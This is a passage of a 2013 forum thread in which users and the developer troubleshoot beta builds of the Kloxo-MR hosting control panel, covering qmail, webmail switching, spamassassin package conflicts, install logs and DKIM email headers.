kloxo-mr-centosec               | 2.3 kB     00:00
kloxo-mr-epel                   | 3.7 kB     00:00
kloxo-mr-ius                    | 2.2 kB     00:00
kloxo-mr-lxcenter               |  951 B     00:00
kloxo-mr-nginx                  | 1.2 kB     00:00
kloxo-mr-release-neutral-arch   | 1.9 kB     00:00
kloxo-mr-release-neutral-noarch | 1.9 kB     00:00
kloxo-mr-release-version-arch   | 1.9 kB     00:00
kloxo-mr-release-version-noarch | 1.9 kB     00:00
kloxo-mr-varnish-3.0            |  951 B     00:00
updates                         | 1.9 kB     00:00
Excluding Packages from Kloxo-MR - centalt - x86_64
Finished
Reducing Kloxo-MR - lxcenter - x86_64 to included packages only
Finished
Excluding Packages from Kloxo-MR - release-version-x86_64
Finished
Excluding Packages from Kloxo-MR - release-version-noarch
Finished
0 packages excluded due to repository protections
Setting up Update Process
No Packages marked for Update
[root@mail ~]# yum install kloxo*
Loaded plugins: fastestmirror, priorities, protectbase,
              : replace
Loading mirror speeds from cached hostfile
 * addons: mirror.ovh.net
 * base: mirror01.th.ifl.net
 * extras: mirror.ovh.net
 * kloxo-mr-epel: mirror.ibcp.fr
 * kloxo-mr-ius: ftp.rediris.es
 * updates: mirror.ovh.net
Excluding Packages from Kloxo-MR - centalt - x86_64
Finished
Reducing Kloxo-MR - lxcenter - x86_64 to included packages only
Finished
Excluding Packages from Kloxo-MR - release-version-x86_64
Finished
Excluding Packages from Kloxo-MR - release-version-noarch
Finished
0 packages excluded due to repository protections
Setting up Install Process
Package kloxo-horde-nag-1.2.11-9.mr.noarch already installed and latest version
Package kloxo-awstats-7.1-3.mr.noarch already installed and latest version
Package kloxo-squirrelmail-1.4.22-3.mr.noarch already installed and latest version
Package kloxo-fckeditor-2.6.8-3.mr.noarch already installed and latest version
Package kloxo-extjs-1.1-4.mr.noarch already installed and latest version
Package kloxo-horde-dimp-1.2.11-9.mr.noarch already installed and latest version
Package kloxo-horde-ingo-1.2.11-9.mr.noarch already installed and latest version
Package kloxo-horde-kronolith-1.2.11-9.mr.noarch already installed and latest version
Package kloxo-horde-imp-1.2.11-9.mr.noarch already installed and latest version
Package kloxo-horde-1.2.11-9.mr.noarch already installed and latest version
Package kloxo-horde-mnemo-1.2.11-9.mr.noarch already installed and latest version
Package kloxo-t-dah-3.2.0.2.3-3.mr.noarch already installed and latest version
Package kloxo-roundcube-0.8.4-4.mr.noarch already installed and latest version
Package kloxo-horde-mimp-1.2.11-9.mr.noarch already installed and latest version
Package kloxo-yui-dragdrop-2.9.0-3.mr.noarch already installed and latest version
Package kloxo-sshterm-applet-0.2.2-3.mr.noarch already installed and latest version
Package kloxo-horde-pear-1.2.11-9.mr.noarch already installed and latest version
Package kloxo-afterlogic-6.5.1-3.mr.noarch already installed and latest version
Package kloxo-phpMyAdmin-3.5.6-1.mr.noarch already installed and latest version
Package kloxo-horde-turba-1.2.11-9.mr.noarch already installed and latest version
Nothing to do
[root@mail ~]# rpm -q qmail
qmail-1.03-1.5.15
[root@mail ~]# rpm -q qmail-toaster
package qmail-toaster is not installed
[root@mail ~]#

Still tried scripts fixwebmail fixvpop cleanup and still authetification wont work(fixed the mysql issue with changing root pass and then fixvpop script) but again cant acess any mail account.. but mail queue is empty witch means that mails are delivered to clients(i hope)

Any suggestions ? Besides clean installation on the vps..
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-06, 19:49:20
Don't what happens on your servers. In latest github upload (6.5.0.c.2013020402). running 'sh /script/cleanup' will be fixed your issue.

You can try manual copy with 'cp -f /usr/local/lxlabs/kloxo/file/webmail_inc.php /home/kloxo/httpd/webmail/inc.php'
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-06, 20:04:00
I did

Code: [Select]
cp kloxo-mr_lxcenter.repo kloxo-mr.repo;
rm kloxo-mr_lxcenter.repo kloxo-mr_mratwork.repo;
yum clean all; yum install kloxo*; sh /script/cleanup;
service httpd restart

Still I'm not able to change the webmail (on the control panel it shows as changed but not in reality). I also pressed [Update all] but same results.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-06, 20:10:33
Quote from: "lapy"
I did

Code: [Select]
cp kloxo-mr_lxcenter.repo kloxo-mr.repo;
rm kloxo-mr_lxcenter.repo kloxo-mr_mratwork.repo;
yum clean all; yum install kloxo*; sh /script/cleanup;
service httpd restart

Still I'm not able to change the webmail (on the control panel it shows as changed but not in reality). I also pressed [Update all] but same results.

What you mean 'not able to change the webmail (on the control panel it shows as changed but not in reality)'?.
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-06, 20:15:52
I have AfterLogic now but I want Roundcube.
I go to kloxo control panel -> Webmail Application
I change webmail application and it shows <<Information: webmail_select successfully updated for xxx>>
I check my webmail and it is still Afterlogic!
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-06, 20:20:26
Why not choose '--chooser--' instead certain webmail?.
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-06, 20:24:52
I tried and also --chooser-- doesn't work.. I can't switch to anything
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-07, 01:08:52
Mustafar i just installed a clean install of kloxoMR and didnt restore form backup so its definitely clean..

using windows live mail (software)  accounts synhronize with no errors.. But  i cant send mails again.. Now i get this error
Code: [Select]
The message could not be sent. The setting for your outgoing email [SMTP] server might need to be configured. To find the server settings for 'xradio@hotmail.gr', please contact your email service provider.

Subject 'test the server'
Server Error: 451
Server Response: 451 http://www.spamhaus.org/query/bl?ip=xx.xx.xx.xx
Server: 'mail.xxxx.xxx'
Windows Live Mail Error ID: 0x800CCC79
Protocol: SMTP
Port: 25
Secure(SSL): No

If it helps spamhaus says "xx.xx.xx.xx is listed in the PBL, in the following records :PBL1517322

Current Version:   6.5.0.c.2013020601

rpm -q qmail
package qmail is not installed

rpm -q qmail-toaster
qmail-toaster-1.03-1.3.22.mr.el5

PS: Tried with po3 + imap account same problem
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-07, 01:18:57
Update :

-The only way to send mail is using roundcube or horde both working & sending fine..
-Afterlogic logins fine gives but again gives me error on send..
-Tdah cant even login : ERROR (2): fsockopen() [function.fsockopen]: unable to connect to linardoutsou.gr:143 (Connection timed out) (t-dah/inc/class/class.uebimiau_mail.php:81)
-Squirrelmail Login fine but cant send says only error...
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-07, 02:59:43
What happens if I remove qmail and install qmail-toaster?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-07, 04:14:42
Mustafa slave needs to be still updated manually ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-07, 09:53:02
Quote from: "Spacedust"
Mustafa slave needs to be still updated manually ?
Yes, because auto-update still refer to Kloxo Official.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-07, 23:51:43
I got this when clicking on phpinfo:

Code: [Select]
Warning: file_get_contents(/home/kloxo/httpd/script/sess_SKLz3CPKQAJ40bnkwYGaZoHcRMFwV9h): failed to open stream: No such file or directory in /home/admin2/kloxoscript/phpinfo.php on line 11
No Session. You can access this only through kloxo and needs proper authentication. If you are indeed accessing from Inside Kloxo, then please logout and login again, so that a new session is created properly.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-08, 00:38:02
No package lxzend available. - this is still not removed while installing...
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-08, 00:44:05
djbdns is working fine with Kloxo-MR (lxcenter edition) but Kloxo is reporting state not working (red light).
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-08, 01:18:34
Quote
--> Processing Conflict: mysql55-server conflicts mysql-server < 5.5
--> Processing Conflict: mysql55-libs conflicts mysql-libs < 5.5
--> Processing Conflict: mysql55 conflicts mysql < 5.5
--> Finished Dependency Resolution
mysql55-5.5.29-1.ius.el5.x86_64 from kloxo-mr-ius has depsolving problems
  --> mysql55 conflicts with mysql
mysql55-libs-5.5.29-1.ius.el5.x86_64 from kloxo-mr-ius has depsolving problems
  --> mysql55-libs conflicts with mysql
mysql55-server-5.5.29-1.ius.el5.x86_64 from kloxo-mr-ius has depsolving problems
  --> mysql55-server conflicts with mysql-server
Error: mysql55-server conflicts with mysql-server
Error: mysql55-libs conflicts with mysql
Error: mysql55 conflicts with mysql

These are small deps to be resolved when upgrading slave with stock 6.1.12. I'm just excluding mysql55* in yum.conf.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-08, 01:24:12
Another small problem:

Quote
Installing mail Components....sh: pear: command not found
sh: pear: command not found
sh: pear: command not found
sh: pear: command not found
sh: pear: command not found

I use stock Kloxo 6.1.12 php on slave:

Quote
[root@server kloxo]# php -v
PHP 5.2.17 (cli) (built: Dec 17 2012 08:17:23)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies
    with XCache v1.3.2, Copyright (c) 2005-2011, by mOo
    with the ionCube PHP Loader v4.2.2, Copyright (c) 2002-2012, by ionCube Ltd., and
    with Zend Extension Manager v1.2.2, Copyright (c) 2003-2007, by Zend Technologies
    with Zend Optimizer v3.3.9, Copyright (c) 1998-2009, by Zend Technologies
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-08, 01:34:48
Another one:
Quote
Creating Vpopmail database...
/tmp/kloxo/kloxo-install/kloxo-linux/vpop.sh: line 46: /home/vpopmail/etc/vpopmail.mysql: No such file or directory
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-08, 16:24:32
Mustafar can you please see the issue with the mails.are mails working fine for everyone especialy smtp authentication.. ?

After a clean install and not revert from any back up, iam not receiving mails on remote mail for example from cronjobs (maldet rkhunter clamscan etc) also cant login using smtp client on my clients accounts..
I cant see anything usefull on the logs except this on maillog when someone is trying to send mail using smtp client :"    vpopmail user not found "


Have tried fixwebmail and clean scripts but still problem resists..
Using qmail toaster..

If you need logs please tell me whitch and i ll be happy to provide but please help as mails are not working..

Only rouncube mail works fine send/receive (suppose because not using smtp)
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-08, 16:36:43
I reinstalled kloxo-mr again, build 6.5.0.c.2013020703, now the webmail doesn't even log in...
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-08, 16:46:30
Update:

when I try to add a mail account it shows:

Code: [Select]
Alert: mailaccount_add_failed [Error - no authentication database connection. Initial open.]
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-08, 16:46:54
Quote from: "lapy"
Update:

when I try to add a mail account it shows:

Code: [Select]
Alert: mailaccount_add_failed [Error - no authentication database connection. Initial open.]

Run /script/fixvpop
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-08, 16:52:06
Code: [Select]
/script/fixvpop
using qmail-lxcenter
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-08, 16:58:13
Now it just shows:

Code: [Select]
Alert: mailaccount_add_failed
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-08, 17:00:05
Quote from: "lapy"
Now it just shows:

Code: [Select]
Alert: mailaccount_add_failed

A fix for this was so many times on forum.lxcenter.org: http://forum.lxcenter.org/index.php?t=msg&goto=25334& (http://forum.lxcenter.org/index.php?t=msg&goto=25334&)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-08, 17:01:44
Quote
Feb  8 11:59:51 localhost qmail: 1360321191.294279 status: local 1/200 remote 0/200
Feb  8 11:59:51 localhost qmail: 1360321191.294306 warning: unable to stat mess/21/333521
Feb  8 11:59:51 localhost spamc[9923]: connect to spamd on 127.0.0.1 failed, retrying (#1 of 3): Connection refused
Feb  8 11:59:52 localhost spamc[9923]: connect to spamd on 127.0.0.1 failed, retrying (#2 of 3): Connection refused
Feb  8 11:59:53 localhost spamc[9923]: connect to spamd on 127.0.0.1 failed, retrying (#3 of 3): Connection refused
Feb  8 11:59:54 localhost spamc[9923]: connection attempt to spamd aborted after 3 retries
Feb  8 11:59:54 localhost qmail: 1360321194.713436 delivery 7: success: did_0+0+1/
Feb  8 11:59:54 localhost qmail: 1360321194.713626 status: local 0/200 remote 0/200
Feb  8 11:59:54 localhost qmail: 1360321194.713657 end msg 6666337

But spamd is gone ?

Quote
Resolving Dependencies
--> Running transaction check
---> Package spamassassin.x86_64 1:3.3.2-7.el5.art set to be updated
--> Finished Dependency Resolution

Dependencies Resolved

========================================================================================================================
 Package                       Arch                    Version                            Repository               Size
========================================================================================================================
Installing:
 spamassassin                  x86_64                  1:3.3.2-7.el5.art                  atomic                  1.2 M

Transaction Summary
========================================================================================================================
Install       1 Package(s)
Upgrade       0 Package(s)

Total download size: 1.2 M
Is this ok [y/N]: y
Downloading Packages:
spamassassin-3.3.2-7.el5.art.x86_64.rpm                                                          | 1.2 MB     00:00
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test


Transaction Check Error:
  file /etc/cron.d/sa-update from install of spamassassin-3.3.2-7.el5.art.x86_64 conflicts with file from package spamassassin-toaster-3.3.2-1.4.3.mr.el5.x86_64
  file /etc/mail/spamassassin/local.cf from install of spamassassin-3.3.2-7.el5.art.x86_64 conflicts with file from package spamassassin-toaster-3.3.2-1.4.3.mr.el5.x86_64
  file /etc/mail/spamassassin/v310.pre from install of spamassassin-3.3.2-7.el5.art.x86_64 conflicts with file from package spamassassin-toaster-3.3.2-1.4.3.mr.el5.x86_64
  file /usr/share/man/man1/sa-awl.1.gz from install of spamassassin-3.3.2-7.el5.art.x86_64 conflicts with file from package spamassassin-toaster-3.3.2-1.4.3.mr.el5.x86_64
  file /usr/share/man/man1/sa-compile.1.gz from install of spamassassin-3.3.2-7.el5.art.x86_64 conflicts with file from package spamassassin-toaster-3.3.2-1.4.3.mr.el5.x86_64
  file /usr/share/man/man1/sa-learn.1.gz from install of spamassassin-3.3.2-7.el5.art.x86_64 conflicts with file from package spamassassin-toaster-3.3.2-1.4.3.mr.el5.x86_64
  file /usr/share/man/man1/sa-update.1.gz from install of spamassassin-3.3.2-7.el5.art.x86_64 conflicts with file from package spamassassin-toaster-3.3.2-1.4.3.mr.el5.x86_64
  file /usr/share/man/man1/spamassassin-run.1.gz from install of spamassassin-3.3.2-7.el5.art.x86_64 conflicts with file from package spamassassin-toaster-3.3.2-1.4.3.mr.el5.x86_64
  file /usr/share/man/man1/spamassassin.1.gz from install of spamassassin-3.3.2-7.el5.art.x86_64 conflicts with file from package spamassassin-toaster-3.3.2-1.4.3.mr.el5.x86_64
  file /usr/share/man/man1/spamc.1.gz from install of spamassassin-3.3.2-7.el5.art.x86_64 conflicts with file from package spamassassin-toaster-3.3.2-1.4.3.mr.el5.x86_64
  file /usr/share/man/man1/spamd.1.gz from install of spamassassin-3.3.2-7.el5.art.x86_64 conflicts with file from package spamassassin-toaster-3.3.2-1.4.3.mr.el5.x86_64
  file /usr/share/spamassassin/sa-update.cron from install of spamassassin-3.3.2-7.el5.art.x86_64 conflicts with file from package spamassassin-toaster-3.3.2-1.4.3.mr.el5.x86_64

/etc/init.d/spamd restart

Quote
[root@nowosci /]# /etc/init.d/spamassassin restart
-bash: /etc/init.d/spamassassin: No such file or directory
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-08, 17:11:43
Resolved,

Code: [Select]
yum -y reinstall qmail; sh /script/cleanup
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-08, 17:13:54
Have your Kloxo-MR fresh install or update from previous (including Kloxo Official).

When you install at this moment, Kloxo-MR use qmail-toaster instead qmail-lxcenter. But previous version (Kloxo Official and possible Kloxo-MR old upload) use qmail-toaster.

Qmail-toaster use spamassasin-toaster instead spamassasin (from from qmail-toaster or other repos like epel).

To make what qmail used, try 'rpm -q qmail' and 'rpm -q qmail-toaster'. Also compare content of '/etc/yum.repos.d/kloxo-mr.repo' with '/usr/local/lxlabs/kloxo/file/kloxo-mr_lxcenter.repo' and '/usr/local/lxlabs/kloxo/file/kloxo-mr_mrtatwork.repo'
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-08, 17:29:48
Quote from: "MRatWork"
Have your Kloxo-MR fresh install or update from previous (including Kloxo Official).

When you install at this moment, Kloxo-MR use qmail-toaster instead qmail-lxcenter. But previous version (Kloxo Official and possible Kloxo-MR old upload) use qmail-toaster.

Qmail-toaster use spamassasin-toaster instead spamassasin (from from qmail-toaster or other repos like epel).

To make what qmail used, try 'rpm -q qmail' and 'rpm -q qmail-toaster'. Also compare content of '/etc/yum.repos.d/kloxo-mr.repo' with '/usr/local/lxlabs/kloxo/file/kloxo-mr_lxcenter.repo' and '/usr/local/lxlabs/kloxo/file/kloxo-mr_mrtatwork.repo'

I just restored default spamassassin and it works well.
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-08, 17:38:42
Mustafa, can you tell me where do I find the "webmail application" control panel script? So I can understand what it does and I do it manually to see what happens.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-08, 17:39:50
Tested Kloxo-MR and all works fine:

- Varnish on port 80 + Apache 2.2.3 on port 8080
- Qmail 1.03 from lxcenter repo + qmailtoaster patch + SpamAssassin from lxcenter + SpamDyke from Kloxo-Mr + clamav-toaster from Kloxo-MR
- Webmail as my self configured Afterlogic works ok
- djbdns from lxcenter repo with 2 DNS servers on master and 1 on slave
- pure-ftpd from Kloxo-MR repo

Still need to test Varnish with exclusive IP's when domain must work like http://IP (http://IP)
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-08, 19:00:43
Quote from: "lapy"
Mustafa, can you tell me where do I find the "webmail application" control panel script? So I can understand what it does and I do it manually to see what happens.

What you mean '"webmail application" control panel script'?
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-08, 19:05:48
Quote from: "MRatWork"
Quote from: "lapy"
Mustafa, can you tell me where do I find the "webmail application" control panel script? So I can understand what it does and I do it manually to see what happens.

What you mean '"webmail application" control panel script'?

 "Kloxo Control Panel -> Mail: Qmail - > Webmail Application"

What script does kloxo use to switch Webmail application?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-08, 19:10:16
Quote from: "lapy"
Quote from: "MRatWork"
Quote from: "lapy"
Mustafa, can you tell me where do I find the "webmail application" control panel script? So I can understand what it does and I do it manually to see what happens.

What you mean '"webmail application" control panel script'?

 "Kloxo Control Panel -> Mail: Qmail - > Webmail Application"

What script does kloxo use to switch Webmail application?
Try update to latest upload. I hope this issue resolved.
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-08, 19:58:03
I always get this error while updating, but it continues anyway until the end and says "successful"

This is the error:
Code: [Select]
Installing mail Components....Updating channel "pear.php.net"
Channel "pear.php.net" is up to date
WARNING: "pear/Console_Getopt" is deprecated in favor of "pear/Console_GetoptPlus"

Warning: popen() has been disabled for security reasons in OS/Guess.php on line 242

Warning: fgets() expects parameter 1 to be resource, null given in OS/Guess.php on line 243

Warning: pclose() expects parameter 1 to be resource, null given in OS/Guess.php on line 252
downloading PEAR-1.9.4.tgz ...
Starting to download PEAR-1.9.4.tgz (296,332 bytes)
.............................................................done: 296,332 bytes
upgrade ok: channel://pear.php.net/PEAR-1.9.4
PEAR: Optional feature webinstaller available (PEAR's web-based installer)
PEAR: Optional feature gtkinstaller available (PEAR's PHP-GTK-based installer)
PEAR: Optional feature gtk2installer available (PEAR's PHP-GTK2-based installer)
PEAR: To install optional features use "pear install pear/PEAR#featurename"

Warning: popen() has been disabled for security reasons in OS/Guess.php on line 242

Warning: fgets() expects parameter 1 to be resource, null given in OS/Guess.php on line 243

Warning: pclose() expects parameter 1 to be resource, null given in OS/Guess.php on line 252
downloading Archive_Tar-1.3.10.tgz ...
Starting to download Archive_Tar-1.3.10.tgz (18,294 bytes)
......done: 18,294 bytes
upgrade ok: channel://pear.php.net/Archive_Tar-1.3.10

Warning: popen() has been disabled for security reasons in OS/Guess.php on line 242

Warning: fgets() expects parameter 1 to be resource, null given in OS/Guess.php on line 243

Warning: pclose() expects parameter 1 to be resource, null given in OS/Guess.php on line 252
downloading Structures_Graph-1.0.4.tgz ...
Starting to download Structures_Graph-1.0.4.tgz (30,318 bytes)
.........done: 30,318 bytes
upgrade ok: channel://pear.php.net/Structures_Graph-1.0.4
pear/log is already installed and is the same as the released version 1.12.7
install failed

...
...bla bla bla
...

Congratulations. Kloxo-MR has been installed succesfully as master

You can connect to the server at:
https://<ip-address>:7777 - secure ssl connection, or
http://<ip-address>:7778 - normal one.

The login and password are 'admin' 'admin' for new install.
After Logging in, you will have to change your password to
something more secure


---------------------------------------------

- Better reboot!!!

---------------------------------------------
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-08, 20:16:50
Again webmail login failed...

did: yum -y reinstall qmail; sh /script/cleanup

Now it works, but still can't switch webmail  :D
Title: Re: Need Kloxo-MR Tester
Post by: loder on 2013-02-08, 23:07:13
New install 6.5.0.c.2013020703
Centos 6.3 64bit
mail service missing
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-08, 23:43:12
Does DKIM work ? My mails are still going into spam on gmail.com...
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-09, 01:22:59
Quote from: "Spacedust"
Does DKIM work ? My mails are still going into spam on gmail.com...
Already implementing.

Read articel in http://wiki.qmailtoaster.com/index.php/ ... il_Toaster (http://wiki.qmailtoaster.com/index.php/How_to_Setup_DKIM_with_Qmail_Toaster) and Kloxo-MR already follow with that. For sure, libdomainkeys-toaster must installed (check with 'rpm -q ibdomainkeys-toaster').

This is my test for sending to my googleapps (look at 'DomainKey-Signature'):
Code: [Select]
From - Sat Feb 09 02:11:31 2013
X-Account-Key: account3
X-UIDL: GmailId13cbb3775e18df65
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                
Delivered-To: mustafa@bigraf.com
Received: by 10.58.203.229 with SMTP id kt5csp140339vec;
        Fri, 8 Feb 2013 11:10:42 -0800 (PST)
X-Received: by 10.204.156.206 with SMTP id y14mr1016104bkw.34.1360350639495;
        Fri, 08 Feb 2013 11:10:39 -0800 (PST)
Return-Path: <admin@testing.potissima.com>
Received: from testing.potissima.com (85-31-188-72.blue.kundencontroller.de. [85.31.188.72])
        by mx.google.com with ESMTPS id gi10si18393709bkc.29.2013.02.08.11.10.38
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Fri, 08 Feb 2013 11:10:39 -0800 (PST)
Received-SPF: neutral (google.com: 85.31.188.72 is neither permitted nor denied by best guess record for domain of admin@testing.potissima.com) client-ip=85.31.188.72;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 85.31.188.72 is neither permitted nor denied by best guess record for domain of admin@testing.potissima.com) smtp.mail=admin@testing.potissima.com
Received: (qmail 9512 invoked by uid 0); 8 Feb 2013 19:54:29 -0000
Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=private; d=testing.potissima.com;
  b=QZJsZfVTcIXBeSiPpFn53aowwp4+ndH36NvDCuHcfi75fNDXnd5s9IGAMuDx+dp3;
Received: from unknown (HELO testing.potissima.com) (127.0.0.1)
  by testing.potissima.com with SMTP; 8 Feb 2013 19:54:29 -0000
MIME-Version: 1.0
X-Mailer: AfterLogic WebMail PHP
X-Originating-IP: 110.136.160.110
X-Priority: 3 (Normal)
Message-ID: <df3aebc.6375abe10712194accd731da84652b3f@webmail.testing.potissima.com>
From: admin@testing.potissima.com
To: mustafa@bigraf.com,
admin@testing.potissima.com
Subject: test
Date: Fri, 8 Feb 2013 19:54:28 +0000 (GMT)
Content-Type: text/plain;
charset="utf-8"
Content-Transfer-Encoding: Quoted-Printable

just testing
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 01:27:45
Quote from: "MRatWork"
Quote from: "Spacedust"
Does DKIM work ? My mails are still going into spam on gmail.com...
Already implementing.

Read articel in http://wiki.qmailtoaster.com/index.php/ ... il_Toaster (http://wiki.qmailtoaster.com/index.php/How_to_Setup_DKIM_with_Qmail_Toaster) and Kloxo-MR already follow with that. For sure, libdomainkeys-toaster must installed (check with 'rpm -q ibdomainkeys-toaster').

This is my test for sending to my googleapps (look at 'DomainKey-Signature'):
Code: [Select]
From - Sat Feb 09 02:11:31 2013
X-Account-Key: account3
X-UIDL: GmailId13cbb3775e18df65
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                
Delivered-To: mustafa@bigraf.com
Received: by 10.58.203.229 with SMTP id kt5csp140339vec;
        Fri, 8 Feb 2013 11:10:42 -0800 (PST)
X-Received: by 10.204.156.206 with SMTP id y14mr1016104bkw.34.1360350639495;
        Fri, 08 Feb 2013 11:10:39 -0800 (PST)
Return-Path: <admin@testing.potissima.com>
Received: from testing.potissima.com (85-31-188-72.blue.kundencontroller.de. [85.31.188.72])
        by mx.google.com with ESMTPS id gi10si18393709bkc.29.2013.02.08.11.10.38
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Fri, 08 Feb 2013 11:10:39 -0800 (PST)
Received-SPF: neutral (google.com: 85.31.188.72 is neither permitted nor denied by best guess record for domain of admin@testing.potissima.com) client-ip=85.31.188.72;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 85.31.188.72 is neither permitted nor denied by best guess record for domain of admin@testing.potissima.com) smtp.mail=admin@testing.potissima.com
Received: (qmail 9512 invoked by uid 0); 8 Feb 2013 19:54:29 -0000
Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=private; d=testing.potissima.com;
  b=QZJsZfVTcIXBeSiPpFn53aowwp4+ndH36NvDCuHcfi75fNDXnd5s9IGAMuDx+dp3;
Received: from unknown (HELO testing.potissima.com) (127.0.0.1)
  by testing.potissima.com with SMTP; 8 Feb 2013 19:54:29 -0000
MIME-Version: 1.0
X-Mailer: AfterLogic WebMail PHP
X-Originating-IP: 110.136.160.110
X-Priority: 3 (Normal)
Message-ID: <df3aebc.6375abe10712194accd731da84652b3f@webmail.testing.potissima.com>
From: admin@testing.potissima.com
To: mustafa@bigraf.com,
admin@testing.potissima.com
Subject: test
Date: Fri, 8 Feb 2013 19:54:28 +0000 (GMT)
Content-Type: text/plain;
charset="utf-8"
Content-Transfer-Encoding: Quoted-Printable

just testing

How to add this automatically to all users ? You're missing correct RevDNS for your IP or you won't be given positive SPF.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 01:31:48
It should be something like this:

Code: [Select]
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=ebay.pl; s=dkim1k;
t=1360274054; bh=pPpRZfY8n3or2K+y7lj9uixdTf0=;
h=Message-ID:Date:From:Reply-To:To:Subject:Mime-Version:
Content-Type;
b=bWh086iORqxWag+kd6PkgBFS5gVLQH9wq/HBzmkDbGNtYdBLx+xeEPchSPNq79kZr
UkIP4t02g6fGeUgOIVnPF0naSPTLVC3sdnEdEab0Tq51vVnNNElt7yxwY8J9q7I0Zm
PqZUDyO9unLEa9ZktB3/gNkPV5Pd+86PDi6i8gaw=
DomainKey-Signature: a=rsa-sha1; s=dk1k; d=ebay.pl; c=nofws; q=dns;
h=message-id:date:from:reply-to:to:subject:mime-version:
content-type:x-ebay-mailtracker:x-ebay-mailversiontracker;
b=y3+bFbFFJPH/qdbzOKJ9JLrrqEh/zYaN7eke4JeGOzK5+tTS6LIM6jpk6oc26ErT6
jathOd5ggTuMjd4lDCNHSeFxosCPw9+blA7N8WSNe2Fw0r8DyKFKCwbiVn8u66Wuaa4
IgGh9MuTh1cfpDC5yOo2SYmSHEjArXjOeE1TPmU=
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-09, 01:39:07
This is header mail from my googleapps:
Code: [Select]
Return-Path: <mustafa@bigraf.com>
Delivered-To: admin@testing.potissima.com
Received: (qmail 10184 invoked by uid 0); 8 Feb 2013 20:18:23 -0000
Received: from unknown (HELO mail-pa0-f52.google.com) (209.85.220.52)
    by testing.potissima.com with (RC4-SHA encrypted) SMTP; 8 Feb 2013 20:18:23 -0000
Received-SPF: softfail (testing.potissima.com: transitioning SPF record at bigraf.com does not designate 209.85.220.52 as permitted sender)
Received: by mail-pa0-f52.google.com with SMTP id fb1so2192517pad.11
    for <admin@testing.potissima.com>; Fri, 08 Feb 2013 11:34:29 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
    d=google.com; s=20120113;
    h=x-received:message-id:date:from:user-agent:mime-version:to:subject
    :references:in-reply-to:content-type:content-transfer-encoding
    :x-gm-message-state;
    bh=M1wQu6vvXCQkYm3Una1f6HsjGKYiuW07N1ACUSeDa1Q=;
    b=EyGg5doysbI7OWzxOrAK4oC7/NCYUi7O/4rTfnZ9gHlCPqHcKe4t7IfPp6gpkGFkap
    8sEgyjoNn3/CQLpCgeGpzCTmEWXfP2ObR0rirONb3IPqVJEnu8E/T8vxnGk2JFHSuHNI
    uQqJr+Nsbb+N8pw5djtaCVhfH/iCHCXvxaomGvR9GpwcFuUNdc6c3N0L7AaV/I7RBOIp
    VysZPnUhYaGMaseWXXyI0DjmG9pYI6dKNEskET28cZim2sPkHrqmWnOSbvhTTor7il0m
    2sFrKCwNa6q5z/XeWgsSBGY8jf2qL20T6dCldTSFAKjn9Zt6fDHuMHMRVAyugJQwxJZ7
    JX2w==
X-Received: by 10.66.73.164 with SMTP id m4mr20415293pav.12.1360352068979;
    Fri, 08 Feb 2013 11:34:28 -0800 (PST)
Return-Path: <mustafa@bigraf.com>
Received: from [192.168.0.101] ([110.136.160.110])
